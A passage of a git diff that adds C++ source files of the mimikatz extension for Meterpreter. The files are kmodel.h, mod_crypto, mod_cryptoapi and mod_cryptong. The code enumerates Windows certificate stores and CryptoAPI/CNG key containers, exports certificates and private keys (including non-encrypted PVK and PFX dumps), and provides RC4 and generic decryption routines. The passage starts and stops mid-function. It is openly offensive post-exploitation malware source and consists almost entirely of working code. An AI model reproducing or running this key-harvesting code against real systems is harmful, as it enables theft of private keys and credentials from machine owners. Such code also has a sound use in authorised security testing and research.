for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++)
|
||||
{
|
||||
wstring maReponse = L" - argument:";
|
||||
maReponse.append(*monArgument);
|
||||
sendOk = sendTo(monPipe, maReponse);
|
||||
}
|
||||
|
||||
if(sendOk)
|
||||
sendOk = sendTo(monPipe, L"\n");
|
||||
|
||||
return sendOk;
|
||||
}
|
21
c/meterpreter/source/extensions/mimikatz/modules/kmodel.h
Normal file
21
c/meterpreter/source/extensions/mimikatz/modules/kmodel.h
Normal file
@ -0,0 +1,21 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_pipe.h"
|
||||
#include "mod_parseur.h"
|
||||
|
||||
#define __kextdll extern "C" __declspec(dllexport)
|
||||
|
||||
typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments);
|
||||
typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription);
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParameter);
|
||||
|
||||
bool sendTo(mod_pipe * monPipe, wstring message);
|
||||
|
||||
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments);
|
240
c/meterpreter/source/extensions/mimikatz/modules/mod_crypto.cpp
Normal file
240
c/meterpreter/source/extensions/mimikatz/modules/mod_crypto.cpp
Normal file
@ -0,0 +1,240 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_crypto.h"
|
||||
|
||||
bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore)
|
||||
{
|
||||
map<wstring, DWORD> mesEmplacements;
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS));
|
||||
mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES));
|
||||
|
||||
map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore);
|
||||
if(monIterateur != mesEmplacements.end())
|
||||
{
|
||||
*systemStore = monIterateur->second;
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
|
||||
BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg)
|
||||
{
|
||||
reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore)
|
||||
{
|
||||
return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0);
|
||||
}
|
||||
|
||||
bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName)
|
||||
{
|
||||
bool reussite = false;
|
||||
wchar_t * monBuffer = NULL;
|
||||
|
||||
DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE};
|
||||
|
||||
for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++)
|
||||
{
|
||||
DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0);
|
||||
if(tailleRequise > 1)
|
||||
{
|
||||
monBuffer = new wchar_t[tailleRequise];
|
||||
reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1;
|
||||
certName->assign(monBuffer);
|
||||
delete[] monBuffer;
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD taille = 0;
|
||||
if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille))
|
||||
{
|
||||
BYTE * monBuffer = new BYTE[taille];
|
||||
if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0))
|
||||
{
|
||||
CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer);
|
||||
keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)");
|
||||
keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)");
|
||||
keyProvInfo->cProvParam = mesInfos->cProvParam;
|
||||
keyProvInfo->dwFlags = mesInfos->dwFlags;
|
||||
keyProvInfo->dwKeySpec = mesInfos->dwKeySpec;
|
||||
keyProvInfo->dwProvType = mesInfos->dwProvType;
|
||||
}
|
||||
delete[] monBuffer;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password)
|
||||
{
|
||||
bool retour = false;
|
||||
|
||||
HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL);
|
||||
PCCERT_CONTEXT pCertContextCopy = NULL;
|
||||
|
||||
if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy))
|
||||
{
|
||||
CRYPT_DATA_BLOB bDataBlob = {0, NULL};
|
||||
if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
|
||||
{
|
||||
bDataBlob.pbData = new BYTE[bDataBlob.cbData];
|
||||
if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY))
|
||||
{
|
||||
HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(hFile && hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwBytesWritten;
|
||||
if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten))
|
||||
{
|
||||
retour = FlushFileBuffers(hFile) != 0;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
delete[] bDataBlob.pbData;
|
||||
}
|
||||
CertFreeCertificateContext(pCertContextCopy);
|
||||
}
|
||||
CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG);
|
||||
|
||||
return retour;
|
||||
}
|
||||
|
||||
bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile)
|
||||
{
|
||||
bool retour = false;
|
||||
|
||||
HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(hFile && hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwBytesWritten;
|
||||
if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten)
|
||||
{
|
||||
retour = FlushFileBuffers(hFile) != 0;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
||||
wstring mod_crypto::KeyTypeToString(DWORD keyType)
|
||||
{
|
||||
wostringstream keyTypeStr;
|
||||
switch (keyType)
|
||||
{
|
||||
case AT_KEYEXCHANGE:
|
||||
keyTypeStr << L"AT_KEYEXCHANGE";
|
||||
break;
|
||||
case AT_SIGNATURE:
|
||||
keyTypeStr << L"AT_SIGNATURE";
|
||||
break;
|
||||
default:
|
||||
keyTypeStr << L"? (" << hex << keyType << L")";
|
||||
}
|
||||
return keyTypeStr.str();
|
||||
}
|
||||
|
||||
|
||||
bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec)
|
||||
{
|
||||
bool retour = false;
|
||||
FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport};
|
||||
|
||||
HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(hFile && hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD dwBytesWritten;
|
||||
if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten))
|
||||
{
|
||||
if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten))
|
||||
{
|
||||
retour = FlushFileBuffers(hFile) != 0;
|
||||
}
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
return retour;
|
||||
}
|
||||
|
||||
bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize)
|
||||
{
|
||||
bool retour = false;
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
HCRYPTKEY hKey = NULL;
|
||||
PBYTE buffer = data;
|
||||
DWORD dwWorkingBufferLength = dataSize;
|
||||
|
||||
if(destBuffer && destBufferSize >= dataSize)
|
||||
{
|
||||
RtlCopyMemory(destBuffer, data, dataSize);
|
||||
buffer = destBuffer;
|
||||
}
|
||||
|
||||
if((algorithme == CALG_RC4) && (keySize > 16))
|
||||
{
|
||||
fullRC4(buffer, dataSize, key, keySize);
|
||||
retour = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
|
||||
{
|
||||
GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize};
|
||||
BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize];
|
||||
RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB));
|
||||
RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize);
|
||||
|
||||
if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey))
|
||||
{
|
||||
if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/
|
||||
retour = (dwWorkingBufferLength == dataSize);
|
||||
CryptDestroyKey(hKey);
|
||||
}
|
||||
delete[] myKey;
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
}
|
||||
}
|
||||
return retour;
|
||||
}
|
||||
|
||||
void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets)
|
||||
{
|
||||
ULONG i, j, k = 0, kpos = 0;
|
||||
BYTE S[256], *pos = data;
|
||||
|
||||
for (i = 0; i < 256; i++)
|
||||
S[i] = static_cast<BYTE>(i);
|
||||
|
||||
for (i = 0, j = 0; i < 256; i++)
|
||||
{
|
||||
j = (j + S[i] + key[kpos]) & 0xff;
|
||||
kpos++;
|
||||
if (kpos >= keylen)
|
||||
kpos = 0;
|
||||
S_SWAP(i, j);
|
||||
}
|
||||
|
||||
for (i = 0, j = 0; k < data_len; k++)
|
||||
{
|
||||
i = (i + 1) & 0xff;
|
||||
j = (j + S[i]) & 0xff;
|
||||
S_SWAP(i, j);
|
||||
*pos++ ^= S[(S[i] + S[j]) & 0xff];
|
||||
}
|
||||
}
|
@ -0,0 +1,68 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <wincrypt.h>
|
||||
#include <sstream>
|
||||
#include <map>
|
||||
|
||||
#define PVK_FILE_VERSION_0 0
|
||||
#define PVK_MAGIC 0xb0b5f11e // bob's file
|
||||
#define PVK_NO_ENCRYPT 0
|
||||
#define PVK_RC4_PASSWORD_ENCRYPT 1
|
||||
#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2
|
||||
|
||||
class mod_crypto
|
||||
{
|
||||
public:
|
||||
typedef struct _KIWI_KEY_PROV_INFO {
|
||||
std::wstring pwszContainerName;
|
||||
std::wstring pwszProvName;
|
||||
DWORD dwProvType;
|
||||
DWORD dwFlags;
|
||||
DWORD cProvParam;
|
||||
DWORD dwKeySpec;
|
||||
} KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO;
|
||||
|
||||
private:
|
||||
typedef struct _GENERICKEY_BLOB {
|
||||
BLOBHEADER BlobHeader;
|
||||
DWORD dwKeyLen;
|
||||
} GENERICKEY_BLOB, *PGENERICKEY_BLOB;
|
||||
|
||||
typedef struct _FILE_HDR {
|
||||
DWORD dwMagic;
|
||||
DWORD dwVersion;
|
||||
DWORD dwKeySpec;
|
||||
DWORD dwEncryptType;
|
||||
DWORD cbEncryptData;
|
||||
DWORD cbPvk;
|
||||
} FILE_HDR, *PFILE_HDR;
|
||||
|
||||
static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg);
|
||||
public:
|
||||
static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore);
|
||||
|
||||
static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER);
|
||||
static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName);
|
||||
static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo);
|
||||
|
||||
static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE);
|
||||
static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password);
|
||||
static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile);
|
||||
static wstring KeyTypeToString(DWORD keyType);
|
||||
|
||||
static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0);
|
||||
static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes)
|
||||
};
|
||||
|
||||
extern "C" {
|
||||
WINCRYPT32API
|
||||
BOOL
|
||||
WINAPI CertCloseStore(
|
||||
__in_opt HCERTSTORE hCertStore,
|
||||
__in DWORD dwFlags
|
||||
); }
|
@ -0,0 +1,138 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_cryptoapi.h"
|
||||
HMODULE mod_cryptoapi::hRsaEng = NULL;
|
||||
|
||||
bool mod_cryptoapi::loadRsaEnh()
|
||||
{
|
||||
if(!hRsaEng)
|
||||
hRsaEng = LoadLibrary(L"rsaenh");
|
||||
return (hRsaEng != NULL);
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::unloadRsaEnh()
|
||||
{
|
||||
if(hRsaEng)
|
||||
FreeLibrary(hRsaEng);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider)
|
||||
{
|
||||
map<wstring, wstring> mesProviders;
|
||||
mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV));
|
||||
mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP));
|
||||
|
||||
map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName);
|
||||
*Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType)
|
||||
{
|
||||
map<wstring, DWORD> mesTypes;
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL));
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG));
|
||||
mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS));
|
||||
mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA));
|
||||
mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE));
|
||||
mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL));
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL));
|
||||
mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL));
|
||||
mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL));
|
||||
mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL));
|
||||
mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS));
|
||||
mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG));
|
||||
mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC));
|
||||
mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF));
|
||||
mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES));
|
||||
|
||||
map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName);
|
||||
if(monIterateur != mesTypes.end())
|
||||
{
|
||||
*ProviderType = monIterateur->second;
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders)
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD provType;
|
||||
DWORD tailleRequise;
|
||||
|
||||
while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise))
|
||||
{
|
||||
wchar_t * monProvider = new wchar_t[tailleRequise];
|
||||
if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise))
|
||||
{
|
||||
monVectorProviders->push_back(monProvider);
|
||||
}
|
||||
delete[] monProvider;
|
||||
index++;
|
||||
}
|
||||
return (GetLastError() == ERROR_NO_MORE_ITEMS);
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
HCRYPTPROV hCryptProv = NULL;
|
||||
if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
char * containerName = NULL;
|
||||
DWORD CRYPT_first_next = CRYPT_FIRST;
|
||||
bool success = false;
|
||||
|
||||
success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0);
|
||||
while(success)
|
||||
{
|
||||
containerName = new char[tailleRequise];
|
||||
if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0))
|
||||
{
|
||||
wstringstream resultat;
|
||||
resultat << containerName;
|
||||
monVectorContainers->push_back(resultat.str());
|
||||
}
|
||||
delete[] containerName;
|
||||
CRYPT_first_next = CRYPT_NEXT;
|
||||
}
|
||||
reussite = (GetLastError() == ERROR_NO_MORE_ITEMS);
|
||||
CryptReleaseContext(hCryptProv, 0);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport))
|
||||
{
|
||||
*monExport = new BYTE[*tailleExport];
|
||||
if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0)))
|
||||
delete[] monExport;
|
||||
|
||||
}
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,26 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <wincrypt.h>
|
||||
#include <sstream>
|
||||
#include <map>
|
||||
|
||||
class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */
|
||||
{
|
||||
private:
|
||||
static HMODULE hRsaEng;
|
||||
public:
|
||||
static bool getProviderString(wstring ProviderName, wstring * Provider);
|
||||
static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType);
|
||||
|
||||
static bool getVectorProviders(vector<wstring> * monVectorProviders);
|
||||
static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL);
|
||||
static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB);
|
||||
|
||||
static bool loadRsaEnh();
|
||||
static bool unloadRsaEnh();
|
||||
};
|
@ -0,0 +1,143 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_cryptong.h"
|
||||
|
||||
HMODULE hNcrypt = LoadLibrary(L"ncrypt");
|
||||
|
||||
PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider"));
|
||||
PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys"));
|
||||
PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey"));
|
||||
PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey"));
|
||||
PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty"));
|
||||
|
||||
PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer"));
|
||||
PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject"));
|
||||
|
||||
PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders"));
|
||||
PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer"));
|
||||
|
||||
bool mod_cryptong::isNcrypt = (
|
||||
hNcrypt &&
|
||||
K_NCryptOpenStorageProvider &&
|
||||
K_NCryptEnumKeys &&
|
||||
K_NCryptOpenKey &&
|
||||
K_NCryptExportKey &&
|
||||
K_NCryptGetProperty &&
|
||||
K_NCryptFreeBuffer &&
|
||||
K_NCryptFreeObject &&
|
||||
K_BCryptEnumRegisteredProviders &&
|
||||
K_BCryptFreeBuffer
|
||||
);
|
||||
|
||||
bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName)
|
||||
{
|
||||
bool reussite = false;
|
||||
NCRYPT_PROV_HANDLE hProvider;
|
||||
|
||||
if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS)
|
||||
reussite = (K_NCryptFreeObject(hProvider) == 0);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD cbBuffer;
|
||||
PCRYPT_PROVIDERS pBuffer = NULL;
|
||||
|
||||
if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0))
|
||||
{
|
||||
for(DWORD i = 0; i < pBuffer->cProviders; i++)
|
||||
monVectorProviders->push_back(pBuffer->rgpszProviders[i]);
|
||||
K_BCryptFreeBuffer(pBuffer);
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine)
|
||||
{
|
||||
bool reussite = false;
|
||||
NCRYPT_PROV_HANDLE hProvider;
|
||||
NCryptKeyName * pKeyName;
|
||||
PVOID pEnumState = NULL;
|
||||
|
||||
SECURITY_STATUS retour;
|
||||
if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS)
|
||||
{
|
||||
while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS)
|
||||
{
|
||||
monVectorContainers->push_back(pKeyName->pszName);
|
||||
